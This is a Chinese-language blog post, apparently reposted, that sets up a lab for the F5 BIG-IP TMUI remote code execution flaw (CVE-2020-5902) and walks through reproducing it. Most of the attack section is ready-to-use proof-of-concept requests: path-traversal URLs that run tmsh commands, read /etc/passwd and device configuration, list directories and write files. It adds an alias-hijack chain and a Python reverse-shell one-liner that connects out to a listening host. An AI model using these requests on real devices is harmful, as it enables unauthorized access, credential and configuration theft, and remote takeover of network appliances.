F5 BIG-IP 远程代码执行RCE(CVE-2020-5902)环境搭建及复现


漏洞简介

F5 BIG-IP 是美国``F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。 在F5 BIG-IP产品的流量管理用户页面 (TMUI)/配置程序的特定页面中存在一处远程代码执行漏洞,导致可以未授权访问TMUI模块所有功能(包括未公开功能),漏洞影响范围包括执行任意系统命令、任意文件读取、任意文件写入、开启/禁用服务等。

搭建环境

直接再F5官网下载即可:(先去注册)

https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v11.x&ver=11.6.4

 

 

 

 

 

 

 

 

 

下载好直接导入虚拟机即可。

其他配置和搭建虚拟机一样。

使用默认密码: root-default登录(linux下输密码不显示)(然后需要你修改密码,否则不行)

配置ip地址 输入 config

 

 配置ip,其实不用配置也想,弄个NAT就可以了。主要是网卡较多。

 

 

 

 

漏洞复现

访问管理员页面

https://192.168.110.151/tmui/login.jsp

  

 

 

 利用poc进行测试利用

RCE: 
curl -v -k  'https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Read File: 
curl -v -k  'https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

 

Read File:
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

RCE:
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

List File:
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/

  

 

 

 

 

 

 在执行命令时发现权限不足,不知为何,现在也没研究出来,用fofa搜索的也是权限不足,执行不了Tmsh命令(list相当于bash命令),一开始不知的我,以为这个命令可以执行linux命令。所以就尝试了,whoami

哈哈哈,菜鸡的我,怎么会想到这个,打自己一巴掌。

 

 

 

尝试写文件:(测试下面如何拿到反弹shell的)

尝试写入:(在靶机上面写)
curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "fileName=/tmp/success&content=CVE-2020-5902" "https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"
读取
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/success"

 

访问发现已经改变了。

 

 

 

 

 

获取shell

1、修改alias劫持list命令为bash
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
2、写入文件:bash文件
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/test&content=id
3、执行bash文件
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test
4. 还原list命令
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list

 

 

 还是权限不足,太难了。

 

 

直接用靶机进行配置。

 

 

 还是不行。

 

 

 算了算了,我低头了。

 

 

 下一步,说如何反弹shell吧。

来一道py反弹shell:(是一句话,为了方便我空格了)

https://192.168.110.151/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/test&content=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.151',7777));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

用一个机器监听端口

 

 

 在执行下面命令,别人的shell就掌握手中了。

https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test

 

 

 

 我的不行,权限问题。在此请求大佬们多多给建议,让我跟着大佬们脚步继续前进。

参考链接:
https://zhuanlan.zhihu.com/p/161674340 https://www.cnblogs.com/twosmi1e/p/13290290.html https://www.cnblogs.com/zzjdbk/p/13290086.html https://blog.csdn.net/wuyou1995/article/details/107170186

  

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM